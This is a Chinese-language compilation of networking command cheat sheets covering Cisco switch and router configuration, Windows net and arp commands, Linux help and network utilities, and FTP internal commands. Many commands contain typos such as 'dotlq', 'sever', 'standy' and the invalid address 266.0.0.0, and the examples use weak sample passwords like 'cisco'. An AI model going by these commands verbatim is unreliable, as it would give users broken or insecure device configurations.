網(wǎng)絡(luò)基礎(chǔ)版各種命令行集錦
Switching 命令大全
1. 在基于IOS的交換機(jī)上設(shè)置主機(jī)名/系統(tǒng)名:
switch(config)# hostname hostname
在基于CLI的交換機(jī)上設(shè)置主機(jī)名/系統(tǒng)名:
switch(enable) set system name name-string
2.在基于IOS的交換機(jī)上設(shè)置登錄口令:
switch(config)# enable password level 1 password
在基于CLI的交換機(jī)上設(shè)置登錄口令:
switch(enable) set password
switch(enable) set enalbepass
3.在基于IOS的交換機(jī)上設(shè)置遠(yuǎn)程訪問:
switch(config)# interface vlan 1
switch(config-if)# ip address ip-address netmask
switch(config-if)# ip default-gateway ip-address
在基于CLI的交換機(jī)上設(shè)置遠(yuǎn)程訪問:
switch(enable) set interface sc0 ip-address netmask broadcast-address
switch(enable) set interface sc0 vlan
switch(enable) set ip route default gateway
4.在基于IOS的交換機(jī)上啟用和瀏覽CDP信息:
switch(config-if)# cdp enable
switch(config-if)# no cdp enable
為了查看Cisco鄰接設(shè)備的CDP通告信息:
switch# show cdp interface [type modle/port]
switch# show cdp neighbors [type module/port] [detail]
在基于CLI的交換機(jī)上啟用和瀏覽CDP信息:
switch(enable) set cdp {enable|disable} module/port
為了查看Cisco鄰接設(shè)備的CDP通告信息:
switch(enable) show cdp neighbors[module/port] [vlan|duplex|capabilities|detail]
5.基于IOS的交換機(jī)的端口描述:
switch(config-if)# description description-string
基于CLI的交換機(jī)的端口描述:
switch(enable)set port name module/number description-string
6.在基于IOS的交換機(jī)上設(shè)置端口速度:
switch(config-if)# speed{10|100|auto}
在基于CLI的交換機(jī)上設(shè)置端口速度:
switch(enable) set port speed moudle/number {10|100|auto}
switch(enable) set port speed moudle/number {4|16|auto}
7.在基于IOS的交換機(jī)上設(shè)置以太網(wǎng)的鏈路模式:
switch(config-if)# duplex {auto|full|half}
在基于CLI的交換機(jī)上設(shè)置以太網(wǎng)的鏈路模式:
switch(enable) set port duplex module/number {full|half}
8.在基于IOS的交換機(jī)上配置靜態(tài)VLAN:
switch# vlan database
switch(vlan)# vlan vlan-num name vla
switch(vlan)# exit
switch# configure teriminal
switch(config)# interface interface module/number
switch(config-if)# switchport mode access
switch(config-if)# switchport access vlan vlan-num
switch(config-if)# end
在基于CLI的交換機(jī)上配置靜態(tài)VLAN:
switch(enable) set vlan vlan-num [name name]
switch(enable) set vlan vlan-num mod-num/port-list
9. 在基于IOS的交換機(jī)上配置VLAN中繼線:
switch(config)# interface interface mod/port
switch(config-if)# switchport mode trunk
switch(config-if)# switchport trunk encapsulation {isl|dotlq}
switch(config-if)# switchport trunk allowed vlan remove vlan-list
switch(config-if)# switchport trunk allowed vlan add vlan-list
在基于CLI的交換機(jī)上配置VLAN中繼線:
switch(enable) set trunk module/port [on|off|desirable|auto|nonegotiate]
Vlan-range [isl|dotlq|dotl0|lane|negotiate]
10.在基于IOS的交換機(jī)上配置VTP管理域:
switch# vlan database
switch(vlan)# vtp domain domain-name
在基于CLI的交換機(jī)上配置VTP管理域:
switch(enable) set vtp [domain domain-name]
11.在基于IOS的交換機(jī)上配置VTP 模式:
switch# vlan database
switch(vlan)# vtp domain domain-name
switch(vlan)# vtp {sever|cilent|transparent}
switch(vlan)# vtp password password
在基于CLI的交換機(jī)上配置VTP 模式:
switch(enable) set vtp [domain domain-name] [mode{ sever|cilent|transparent }][password password]
12. 在基于IOS的交換機(jī)上配置VTP版本:
switch# vlan database
switch(vlan)# vtp v2-mode
在基于CLI的交換機(jī)上配置VTP版本:
switch(enable) set vtp v2 enable
13. 在基于IOS的交換機(jī)上啟動(dòng)VTP剪裁:
switch# vlan database
switch(vlan)# vtp pruning
在基于CL I 的交換機(jī)上啟動(dòng)VTP剪裁:
switch(enable) set vtp pruning enable
14.在基于IOS的交換機(jī)上配置以太信道:
switch(config-if)# port group group-number [distribution {source|destination}]
在基于CLI的交換機(jī)上配置以太信道:
switch(enable) set port channel moudle/port-range mode{on|off|desirable|auto}
15.在基于IOS的交換機(jī)上調(diào)整根路徑成本:
switch(config-if)# spanning-tree [vlan vlan-list] cost cost
在基于CLI的交換機(jī)上調(diào)整根路徑成本:
switch(enable) set spantree portcost moudle/port cost
switch(enable) set spantree portvlancost moudle/port [cost cost][vlan-list]
16.在基于IOS的交換機(jī)上調(diào)整端口ID:
switch(config-if)# spanning-tree[vlan vlan-list]port-priority port-priority
在基于CLI的交換機(jī)上調(diào)整端口ID:
switch(enable) set spantree portpri {mldule/port}priority
switch(enable) set spantree portvlanpri {module/port}priority [vlans]
17. 在基于IOS的交換機(jī)上修改STP時(shí)鐘:
switch(config)# spanning-tree [vlan vlan-list] hello-time seconds
switch(config)# spanning-tree [vlan vlan-list] forward-time seconds
` switch(config)# spanning-tree [vlan vlan-list] max-age seconds
在基于CLI的交換機(jī)上修改STP時(shí)鐘:
switch(enable) set spantree hello interval[vlan]
switch(enable) set spantree fwddelay delay [vlan]
switch(enable) set spantree maxage agingtiame[vlan]
18. 在基于IOS的交換機(jī)端口上啟用或禁用Port Fast 特征:
switch(config-if)#spanning-tree portfast
在基于CLI的交換機(jī)端口上啟用或禁用Port Fast 特征:
switch(enable) set spantree portfast {module/port}{enable|disable}
19. 在基于IOS的交換機(jī)端口上啟用或禁用UplinkFast 特征:
switch(config)# spanning-tree uplinkfast [max-update-rate pkts-per-second]
在基于CLI的交換機(jī)端口上啟用或禁用UplinkFast 特征:
switch(enable) set spantree uplinkfast {enable|disable}[rate update-rate] [all-protocols off|on]
20. 為了將交換機(jī)配置成一個(gè)集群的命令交換機(jī),首先要給管理接口分配一個(gè)IP地址,然后使用下列命令: switch(config)# cluster enable cluster-name
21. 為了從一條中繼鏈路上刪除VLAN,可使用下列命令:
switch(enable) clear trunk module/port vlan-range
22. 用show vtp domain 顯示管理域的VTP參數(shù).
23. 用show vtp statistics顯示管理域的VTP參數(shù).
24. 在Catalyst交換機(jī)上定義TrBRF的命令如下:
switch(enable) set vlan vlan-name [name name] type trbrf bridge bridge-num[stp {ieee|ibm}]
25. 在Catalyst交換機(jī)上定義TrCRF的命令如下:
switch (enable) set vlan vlan-num [name name] type trcrf
{ring hex-ring-num|decring decimal-ring-num} parent vlan-num
26. 在創(chuàng)建好TrBRF VLAN之后,就可以給它分配交換機(jī)端口.對(duì)于以太網(wǎng)交換,可以采用如下命令給VLAN分配端口:
switch(enable) set vlan vlan-num mod-num/port-num
27. 命令show spantree顯示一個(gè)交換機(jī)端口的STP狀態(tài).
28. 配置一個(gè)ELAN的LES和BUS,可以使用下列命令:
ATM (config)# interface atm number.subint multioint
ATM(config-subif)# lane serber-bus ethernet elan-name
29. 配置LECS:
ATM(config)# lane database database-name
ATM(lane-config-databade)# name elan1-name server-atm-address les1-nsap-address
ATM(lane-config-databade)# name elan2-name server-atm-address les2-nsap-address
ATM(lane-config-databade)# name …
30. 創(chuàng)建完數(shù)據(jù)庫后,必須在主接口上啟動(dòng)LECS.命令如下:
ATM(config)# interface atm number
ATM(config-if)# lane config database database-name
ATM(config-if)# lane config auto-config-atm-address
31. 將每個(gè)LEC配置到一個(gè)不同的ATM子接口上.命令如下:
ATM(config)# interface atm number.subint multipoint
ATM(config)# lane client ethernet vlan-num elan-num
32. 用show lane server 顯示LES的狀態(tài).
33. 用show lane bus顯示bus的狀態(tài).
34. 用show lane database顯示LECS數(shù)據(jù)庫可內(nèi)容.
35. 用show lane client顯示LEC的狀態(tài).
36. 用show module顯示已安裝的模塊列表.
37. 用物理接口建立與VLAN的連接:
router# configure terminal
router(config)# interface media module/port
router(config-if)# description description-string
router(config-if)# ip address ip-addr subnet-mask
router(config-if)# no shutdown
38. 用中繼鏈路來建立與VLAN的連接:
router(config)# interface module/port.subinterface
router(config-ig)# encapsulation[isl|dotlq] vlan-number
router(config-if)# ip address ip-address subnet-mask
39. 用LANE 來建立與VLAN的連接:
router(config)# interface atm module/port
router(config-if)# no ip address
router(config-if)# atm pvc 1 0 5 qsaal
router(config-if)# atm pvc 2 0 16 ilni
router(config-if)# interface atm module/port.subinterface multipoint
router(config-if)# ip address ip-address subnet-mask
router(config-if)# lane client ethernet elan-num
router(config-if)# interface atm module/port.subinterface multipoint
router(config-if)# ip address ip-address subnet-name
router(config-if)# lane client ethernet elan-name
router(config-if)# …
40. 為了在路由處理器上進(jìn)行動(dòng)態(tài)路由配置,可以用下列IOS命令來進(jìn)行:
router(config)# ip routing
router(config)# router ip-routing-protocol
router(config-router)# network ip-network-number
router(config-router)# network ip-network-number
41. 配置默認(rèn)路由:
switch(enable) set ip route default gateway
42. 為一個(gè)路由處理器分配VLANID,可在接口模式下使用下列命令:
router(config)# interface interface number
router(config-if)# mls rp vlan-id vlan-id-num
43. 在路由處理器啟用MLSP:
router(config)# mls rp ip
44. 為了把一個(gè)外置的路由處理器接口和交換機(jī)安置在同一個(gè)VTP域中:
router(config)# interface interface number
router(config-if)# mls rp vtp-domain domain-name
45. 查看指定的VTP域的信息:
router# show mls rp vtp-domain vtp domain name
46. 要確定RSM或路由器上的管理接口,可以在接口模式下輸入下列命令:
router(config-if)#mls rp management-interface
47. 要檢驗(yàn)MLS-RP的配置情況:
router# show mls rp
48. 檢驗(yàn)特定接口上的MLS配置:
router# show mls rp interface interface number
49. 為了在MLS-SE上設(shè)置流掩碼而又不想在任一個(gè)路由處理器接口上設(shè)置訪問列表:
set mls flow [destination|destination-source|full]
50. 為使MLS和輸入訪問列表可以兼容,可以在全局模式下使用下列命令:
router(config)# mls rp ip input-acl
51. 當(dāng)某個(gè)交換機(jī)的第3層交換失效時(shí),可在交換機(jī)的特權(quán)模式下輸入下列命令:
switch(enable) set mls enable
52. 若想改變老化時(shí)間的值,可在特權(quán)模式下輸入以下命令:
switch(enable) set mls agingtime agingtime
53. 設(shè)置快速老化:
switch(enable) set mls agingtime fast fastagingtime pkt_threshold
54. 確定那些MLS-RP和MLS-SE參與了MLS,可先顯示交換機(jī)引用列表中的內(nèi)容再確定:
switch(enable) show mls include
55. 顯示MLS高速緩存記錄:
switch(enable) show mls entry
56. 用命令show in arp顯示ARP高速緩存區(qū)的內(nèi)容。
57. 要把路由器配置為HSRP備份組的成員,可以在接口配置模式下使用下面的命令:
router(config-if)# standby group-number ip ip-address
58. 為了使一個(gè)路由器重新恢復(fù)轉(zhuǎn)發(fā)路由器的角色,在接口配置模式下:
router(config-if)# standy group-number preempt
59. 訪問時(shí)間和保持時(shí)間參數(shù)是可配置的:
router(config-if)# standy group-number timers hellotime holdtime
60. 配置HSRP跟蹤:
router(config-if)# standy group-number track type-number interface-priority
61. 要顯示HSRP路由器的狀態(tài):
router# show standby type-number group brief
62. 用命令show ip igmp確定當(dāng)選的查詢器。
63. 啟動(dòng)IP組播路由選擇:
router(config)# ip muticast-routing
64. 啟動(dòng)接口上的PIM:
dalllasr1>(config-if)# ip pim {dense-mode|sparse-mode|sparse-dense-mode}
65. 啟動(dòng)稀疏-稠密模式下的PIM:
router# ip multicast-routing
router# interface type number
router# ip pim sparse-dense-mode
66. 核實(shí)PIM的配置:
dallasr1># show ip pim interface[type number] [count]
67. 顯示PIM鄰居:
dallasr1># show ip neighbor type number
68. 為了配置RP的地址,命令如下:
dallasr1># ip pim rp-address ip-address [group-access-list-number][override]
69. 選擇一個(gè)默認(rèn)的RP:
dallasr1># ip pim rp-address
通告RP和它所服務(wù)的組范圍:
dallasr1># ip pim send-rp-announce type number scope ttl group-list access-list-number
為管理范圍組通告RP的地址:
dallasr1># ip pim send-rp-announce ethernet0 scope 16 group-list1
dallasr1># access-list 1 permit 266.0.0.0 0.255.255.255
設(shè)定一個(gè)RP映像代理:
dallasr1># ip pim send-rp-discovery scope ttl
核實(shí)組到RP的映像:
dallasr1># show ip pim rp mapping
dallasr1># show ip pim rp [group-name|group-address] [mapping]
70. 在路由器接口上用命令ip multicast ttl-threshold ttl-value設(shè)定TTL閥值:
dallasr1>(config-if)# ip multicast ttl-threshold ttl-value
71. 用show ip pim neighbor顯示PIM鄰居表。
72. 顯示組播通信路由表中的各條記錄:
dallasr1>show ip mroute [group-name|group-address][scoure][summary][count][active kbps]
73. 要記錄一個(gè)路由器接受和發(fā)送的全部IP組播包:
dallasr1> #debug ip mpacket [detail] [access-list][group]
74. 要在CISCO路由器上配置CGMP:
dallasr1>(config-if)# ip cgmp
75.配置一個(gè)組播路由器,使之加入某一個(gè)特定的組播組:
dallasr1>(config-if)# ip igmp join-group group-address
76. 關(guān)閉 CGMP:
dallasr1>(config-if)# no ip cgmp
77. 啟動(dòng)交換機(jī)上的CGMP:
dallasr1>(enable) set cgmp enable
78. 核實(shí)Catalyst交換機(jī)上CGMP的配置情況:
catalystla1>(enable) show config
set prompt catalystla1>
set interface sc0 192.168.1.1 255.255.255.0
set cgmp enable
79. CGMP離開的設(shè)置:
Dallas_SW(enable) set cgmp leave
80. 在Cisco設(shè)備上修改控制端口密碼:
R1(config)# line console 0
R1(config-line)# login
R1(config-line)# password Lisbon
R1(config)# enable password Lilbao
R1(config)# login local
R1(config)# username student password cisco
81. 在Cisco設(shè)備上設(shè)置控制臺(tái)及vty端口的會(huì)話超時(shí):
R1(config)# line console 0
R1(config-line)# exec-timeout 5 10
R1(config)# line vty 0 4
R1(config-line)# exec-timeout 5 2
[1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:csh82. 在Cisco設(shè)備上設(shè)定特權(quán)級(jí):
R1(config)# privilege configure level 3 username
R1(config)# privilege configure level 3 copy run start
R1(config)# privilege configure level 3 ping
R1(config)# privilege configure level 3 show run
R1(config)# enable secret level 3 cisco
83. 使用命令privilege 可定義在該特權(quán)級(jí)下使用的命令:
router(config)# privilege mode level level command
84. 設(shè)定用戶特權(quán)級(jí):
router(config)# enable secret level 3 dallas
router(config)# enable secret san-fran
router(config)# username student password cisco
85. 標(biāo)志設(shè)置與顯示:
R1(config)# banner motd ‘unauthorized access will be prosecuted!'
86. 設(shè)置vty訪問:
R1(config)# access-list 1 permit 192.168.2.5
R1(config)# line vty 0 4
R1(config)# access-class 1 in
87. 配置HTTP訪問:
Router3(config)# access-list 1 permit 192.168.10.7
Router3(config)# ip http sever
Router3(config)# ip http access-class 1
Router3(config)# ip http authentication local
Router3(config)# username student password cisco
88. 要啟用HTTP訪問,請(qǐng)鍵入以下命令:
switch(config)# ip http sever
89. 在基于set命令的交換機(jī)上用setCL1啟動(dòng)和核實(shí)端口安全:
switch(enable) set port security mod_num/port_num…enable mac address
switch(enable) show port mod_num/port_num
在基于CiscoIOS命令的交換機(jī)上啟動(dòng)和核實(shí)端口安全:
switch(config-if)# port secure [mac-mac-count maximum-MAC-count]
switch# show mac-address-table security [type module/port]
90. 用命令access-list在標(biāo)準(zhǔn)通信量過濾表中創(chuàng)建一條記錄:
Router(config)# access-list access-list-number {permit|deny} source-address [source-address]
91. 用命令access-list在擴(kuò)展通信量過濾表中創(chuàng)建一條記錄:
Router(config)# access-list access-list-number {permit|deny{protocol|protocol-keyword}}{source source-wildcard|any}{destination destination-wildcard|any}[protocol-specific options][log]
92. 對(duì)于帶內(nèi)路由更新,配置路由更新的最基本的命令格式是:
R1(config-router)#distribute-list access-list-number|name in [type number]
93. 對(duì)于帶外路由更新,配置路由更新的最基本的命令格式是:
R1(config-router)#distribute-list access-list-number|name out [interface-name] routing-process| autonomous-system-number
94. set snmp命令選項(xiàng):
set snmp community {read-only|ready-write|read-write-all}[community_string]
95. set snmp trap 命令格式如下:
set snmp trap {enable|disable}
[all|moudle|classis|bridge|repeater| auth|vtp|ippermit|vmps|config|entity|stpx]
set snmp trap rvcr_addr rcvr_community
96. 啟用SNMP chassis 陷阱:
Console>(enable) set snmp trap enable chassis
97. 啟用所有SNMP chassis 陷阱:
Console>(enable) set snmp trap enable
98. 禁用SNMP chassis 陷阱:
Console>(enable) set snmp trap disable chassis
99. 給SNMP陷阱接收表加一條記錄:
Console>(enable) set snmp trap 192.122.173.42 public
100. show snmp 輸出結(jié)果。
101. 命令set snmp rmon enable 的輸出結(jié)果。
102. 顯示SPAN信息:
Consile> show span 網(wǎng)絡(luò)經(jīng)典命令行
1.最基本,最常用的,測(cè)試物理網(wǎng)絡(luò)的
ping 192.168.10.88 -t ,參數(shù)-t是等待用戶去中斷測(cè)試
2.查看DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.網(wǎng)絡(luò)信使
Net send 計(jì)算機(jī)名/IP|* (廣播) 傳送內(nèi)容,注意不能跨網(wǎng)段
net stop messenger 停止信使服務(wù),也可以在面板-服務(wù)修改
net start messenger 開始信使服務(wù)
4.探測(cè)對(duì)方對(duì)方計(jì)算機(jī)名,所在的組、域及當(dāng)前用戶名
ping -a IP -t ,只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的
5.netstat -a 顯示出你的計(jì)算機(jī)當(dāng)前所開放的所有端口
netstat -s -e 比較詳細(xì)的顯示你的網(wǎng)絡(luò)資料,包括TCP、UDP、ICMP 和 IP的統(tǒng)計(jì)等
6.探測(cè)arp綁定(動(dòng)態(tài)和靜態(tài))列表,顯示所有連接了我的計(jì)算機(jī),顯示對(duì)方IP和MAC地址
arp -a
7.在代理服務(wù)器端
捆綁IP和MAC地址,解決局域網(wǎng)內(nèi)盜用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除網(wǎng)卡的IP與MAC地址的綁定:
arp -d 網(wǎng)卡IP
8.在網(wǎng)絡(luò)鄰居上隱藏你的計(jì)算機(jī)
net config server /hidden:yes
net config server /hidden:no 則為開啟
9.幾個(gè)net命令
A.顯示當(dāng)前工作組服務(wù)器列表 net view,當(dāng)不帶選項(xiàng)使用本命令時(shí),它就會(huì)顯示當(dāng)前域或網(wǎng)絡(luò)上的計(jì)算機(jī)上的列表。
比如:查看這個(gè)IP上的共享資源,就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋
--------------------------------------
網(wǎng)站服務(wù) Disk
命令成功完成。
B.查看計(jì)算機(jī)上的用戶帳號(hào)列表 net user
C.查看網(wǎng)絡(luò)鏈接 net use
例如:net use z: \\192.168.10.8\movie 將這個(gè)IP的movie共享目錄映射為本地的Z盤
D.記錄鏈接 net session
例如:
C:\>net session
計(jì)算機(jī) 用戶名 客戶類型 打開空閑時(shí)間
-------------------------------------------------------------------------------
\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外,還提供325S的分析,計(jì)算丟失包的%
11.關(guān)于共享安全的幾個(gè)命令
A.查看你機(jī)器的共享資源 net share
B.手工刪除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有空格。
C.增加一個(gè)共享:
c:\net share mymovie=e:\downloads\movie /users:1
mymovie 共享成功。
同時(shí)限制鏈接用戶數(shù)為1人。
12.在DOS行下設(shè)置靜態(tài)IP
A.設(shè)置靜態(tài)IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設(shè)置
interface ip>show address
測(cè)試mtu
ping -f -l size 服務(wù)器ip
偶們最常用咯^_^ 教你使用netstat命令
netstat命令的功能是顯示網(wǎng)絡(luò)連接、路由表和網(wǎng)絡(luò)接口信息,可以讓用戶得知目前都有哪些網(wǎng)絡(luò)連接正在運(yùn)作。
該命令的一般格式為:
netstat [選項(xiàng)]
命令中各選項(xiàng)的含義如下:
-a 顯示所有socket,包括正在監(jiān)聽的。
-c 每隔1秒就重新顯示一遍,直到用戶中斷它。
-i 顯示所有網(wǎng)絡(luò)接口的信息,格式同“ipconfig -e”。
-n 以網(wǎng)絡(luò)IP地址代替名稱,顯示出網(wǎng)絡(luò)連接情形。
-r 顯示核心路由表,格式同“route -e”。
-t 顯示TCP協(xié)議的連接情況。
-u 顯示UDP協(xié)議的連接情況。
-v 顯示正在進(jìn)行的工作。
[例]在本地機(jī)上使用netstat命令。
$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM CONNECTED 270 @00000008
unix 1 [ ] STREAM CONNECTED 150 @00000002
unix 1 [ ] STREAM CONNECTED 104 @00000001
unix 1 [ ] STREAM CONNECTED 222 @00000004
unix 1 [ ] STREAM CONNECTED 171 @00000003
unix 1 [ ] STREAM CONNECTED 271 /dev/log
unix 1 [ ] STREAM CONNECTED 225 /dev/log
unix 1 [ ] STREAM CONNECTED 223 /dev/log
unix 1 [ ] STREAM CONNECTED 203 /dev/log
unix 1 [ ] STREAM CONNECTED 105 /dev/log
……
nslookup命令
nslookup命令的功能是查詢一臺(tái)機(jī)器的IP地址和其對(duì)應(yīng)的域名。它通常需要一臺(tái)域名服務(wù)器來提供域名服務(wù)。如果用戶已經(jīng)設(shè)置好域名服務(wù)器,就可以用這個(gè)命令查看不同主機(jī)的IP地址對(duì)應(yīng)的域名。
該命令的一般格式為:
nslookup [IP地址/域名]
[例]在本地機(jī)上使用nslookup命令。
$ nslookup
Default Server: name.tlc.com.cn
Address: 192.168.1.99
>
在符號(hào)“>”后面輸入要查詢的IP地址或域名并回車即可。如果要退出該命令,輸入exit并回車即可。
finger命令
finger命令的功能是查詢用戶的信息,通常會(huì)顯示系統(tǒng)中某個(gè)用戶的用戶名、主目錄、停滯時(shí)間、登錄時(shí)間、登錄shell等信息。如果要查詢遠(yuǎn)程機(jī)上的用戶信息,需要在用戶名后面接“@主機(jī)名”,采用[用戶名@主機(jī)名]的格式,不過要查詢的網(wǎng)絡(luò)主機(jī)需要運(yùn)行finger守護(hù)進(jìn)程。
該命令的一般格式為:
finger [選項(xiàng)] [使用者] [用戶@主機(jī)]
命令中各選項(xiàng)的含義如下:
-s 顯示用戶的注冊(cè)名、實(shí)際姓名、終端名稱、寫狀態(tài)、停滯時(shí)間、登錄時(shí)間等信息。 -l 除了用-s選項(xiàng)顯示的信息外,還顯示用戶主目錄、登錄shell、郵件狀態(tài)等信息,以及用戶主目錄下的.plan、.project和.forward文件的內(nèi)容。
-p 除了不顯示.plan文件和.project文件以外,與-l選項(xiàng)相同。
[例]在本地機(jī)上使用finger命令。
$ finger xxq
Login: xxq Name:
Directory: /home/xxq Shell: /bin/bash
Last login Thu Jan 1 21:43 (CST) on tty1
No mail.
No Plan.
$ finger
Login Name Tty Idle Login Time Office Office Phone
root root *1 28 Nov 25 09:17
……
ping命令
ping命令用于查看網(wǎng)絡(luò)上的主機(jī)是否在工作,它向該主機(jī)發(fā)送ICMP ECHO_REQUEST包。有時(shí)我們想從網(wǎng)絡(luò)上的某臺(tái)主機(jī)上下載文件,可是又不知道那臺(tái)主機(jī)是否開著,就需要使用ping命令查看。
該命令的一般格式為:
ping [選項(xiàng)] 主機(jī)名/IP地址
命令中各選項(xiàng)的含義如下:
-c 數(shù)目 在發(fā)送指定數(shù)目的包后停止。
-d 設(shè)定SO_DEBUG的選項(xiàng)。
-f 大量且快速地送網(wǎng)絡(luò)封包給一臺(tái)機(jī)器,看它的回應(yīng)。
-I 秒數(shù) 設(shè)定間隔幾秒送一個(gè)網(wǎng)絡(luò)封包給一臺(tái)機(jī)器,預(yù)設(shè)值是一秒送一次。
-l 次數(shù) 在指定次數(shù)內(nèi),以最快的方式送封包數(shù)據(jù)到指定機(jī)器(只有超級(jí)用戶可以使用此選項(xiàng))。
-q 不顯示任何傳送封包的信息,只顯示最后的結(jié)果。
-r 不經(jīng)由網(wǎng)關(guān)而直接送封包到一臺(tái)機(jī)器,通常是查看本機(jī)的網(wǎng)絡(luò)接口是否有問題。
-s 字節(jié)數(shù) 指定發(fā)送的數(shù)據(jù)字節(jié)數(shù),預(yù)設(shè)值是56,加上8字節(jié)的ICMP頭,一共是64ICMP數(shù)據(jù)字節(jié)。
TurboLinux系統(tǒng)提供了大量命令和許多實(shí)用工具軟件,本書由于篇幅的關(guān)系,主要介紹了TurboLinux的一些常用命令和實(shí)用軟件。讀者可以使用系統(tǒng)提供的聯(lián)機(jī)幫助手冊(cè)獲取更多的信息。
TurboLinux系統(tǒng)的聯(lián)機(jī)手冊(cè)中有大量的可用信息,根據(jù)其內(nèi)容分成若干節(jié)。在Linux聯(lián)機(jī)幫助手冊(cè)上,幾乎每個(gè)命令都有說明。因此,當(dāng)用戶對(duì)于Linux上的一個(gè)命令不會(huì)用或是不太了解時(shí),就請(qǐng)使用聯(lián)機(jī)幫助命令。
本章主要介紹幾個(gè)常用的聯(lián)機(jī)幫助命令。包括:
man 查詢每個(gè)命令的使用方法
help 查詢Shell命令
whereis 查詢某個(gè)命令的位置
locate 查詢某個(gè)文件的位置
man命令
這個(gè)命令應(yīng)該是每個(gè)Linux系統(tǒng)上都有的。它格式化并顯示在線的手冊(cè)頁。通常使用者只要在命令man后,輸入想要獲取的命令的名稱(例如 ls),man就會(huì)列出一份完整的說明,其內(nèi)容包括命令語法、各選項(xiàng)的意義以及相關(guān)命令等。
該命令的一般形式為:
man [選項(xiàng)] 命令名稱
命令中各選項(xiàng)的含義分別為:
-M 路徑 指定搜索man手冊(cè)頁的路徑,通常這個(gè)路徑由環(huán)境變量MANPATH預(yù)設(shè),如果在命令行上指定另外的路徑,則覆蓋MANPATH的設(shè)定。
-P 命令 指定所使用的分頁程序,缺省使用/usr/bin/less–is,在環(huán)境變量MANPAGER中預(yù)設(shè)。
-S 章節(jié) 由于一個(gè)命令名稱可能會(huì)有很多類別,至于類別,列出如下:
章節(jié) 說明
1 一般使用者的命令
2 系統(tǒng)調(diào)用的命令
3 C語言函數(shù)庫的命令
4 有關(guān)驅(qū)動(dòng)程序和系統(tǒng)設(shè)備的解釋
5 配置文件的解釋
6 游戲程序的命令
7 其他的軟件或是程序的命令
有關(guān)系統(tǒng)維護(hù)的命令
-a 顯示所有的手冊(cè)頁,而不是只顯示第一個(gè)。
-d 這個(gè)選項(xiàng)主要在檢查時(shí)使用,如果用戶加入了一個(gè)新的文件,就可以用這個(gè)選項(xiàng)檢查是否出錯(cuò),這個(gè)選項(xiàng)并不會(huì)列出文件內(nèi)容。
-f 只顯示出命令的功能而不顯示其中詳細(xì)的說明文件。
-p string 設(shè)定運(yùn)行的預(yù)先處理程序的順序,共有下列幾項(xiàng):
e eqn t tbl
g grap r refer
p pic v vgrind
-w 不顯示手冊(cè)頁,只顯示將被格式化和顯示的文件所在位置。
例如:查看cd命令的使用方法。
$ man cd
cd(n) Tcl Built-In Commands cd(n)
_________________________________________________________________
NAME
cd - Change working directory
SYNOPSIS
cd ?dirName?
_________________________________________________________________
DEs criptION
Change the current working directory to dirName, or to the
home directory (as specified in the HOME environment vari-
able) if dirName is not given. Returns an empty string.
KEYWORDS
working directory
Tcl 1
(END)
可以按q鍵退出man命令。
help命令
help命令用于查看所有Shell命令。用戶可以通過該命令尋求Shell命令的用法,只需在所查找的命令后輸入help命令,就可以看到所查命令的內(nèi)容了。
例如:查看od命令的使用方法。
$ od --help
whereis命令
這個(gè)程序的主要功能是尋找一個(gè)命令所在的位置。例如,我們最常用的ls命令,它是在/bin這個(gè)目錄下的。如果希望知道某個(gè)命令存在哪一個(gè)目錄下,可以用whereis命令來查詢。
該命令的一般形式為:
whereis [選項(xiàng)] 命令名
說明:一般直接使用不加選項(xiàng)的whereis命令,但用戶也可根據(jù)特殊需要選用它的一些選項(xiàng)。
該命令中各選項(xiàng)的含義分別為:
b 只查找二進(jìn)制文件
m 查找主要文件
s 查找來源
u 查找不常用的記錄文件
例如:查找ls命令在什么目錄下。
$ whereis ls
ls:/bin/ls/usr/man/man1/ls.1
FTP命令行使用精萃
FTP命令是Internet用戶使用最頻繁的命令之一,不論是在DOS還是UNIX操作系統(tǒng)下使用FTP,都會(huì)遇到大量的FTP內(nèi)部命令。熟悉并靈活應(yīng)用FTP的內(nèi)部命令,可以大大方便使用者,并收到事半功倍之效。
FTP的命令行格式為: ftp -v -d -i -n -g [主機(jī)名] ,其中
-v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息;
-i 限制ftp的自動(dòng)登錄,即不使用;
-n etrc文件;
-d 使用調(diào)試方式;
-g 取消全局文件名。
ftp使用的內(nèi)部命令如下(中括號(hào)表示可選項(xiàng)):
1. ![cmd[args]]:在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如:!ls*.zip。
2. $ macro-ame[args]:執(zhí)行宏定義macro-name。
3. account[password]:提供登錄遠(yuǎn)程系統(tǒng)成功后訪問系統(tǒng)資源所需的補(bǔ)充口令。
4. append local-file[remote-file]:將本地文件追加到遠(yuǎn)程系統(tǒng)主機(jī),若未指定遠(yuǎn)程系統(tǒng)文件名,則使用本地文件名。
5. ascii:使用ascii類型傳輸方式。
6. bell:每個(gè)命令執(zhí)行完畢后計(jì)算機(jī)響鈴一次。
7. bin:使用二進(jìn)制文件傳輸方式。
8. bye:退出ftp會(huì)話過程。
9. case:在使用mget時(shí),將遠(yuǎn)程主機(jī)文件名中的大寫轉(zhuǎn)為小寫字母。
10. cd remote-dir:進(jìn)入遠(yuǎn)程主機(jī)目錄。
11. cdup:進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄。
12. chmod mode file-name:將遠(yuǎn)程主機(jī)文件file-name的存取方式設(shè)置為mode,如: chmod 777 a.out 。
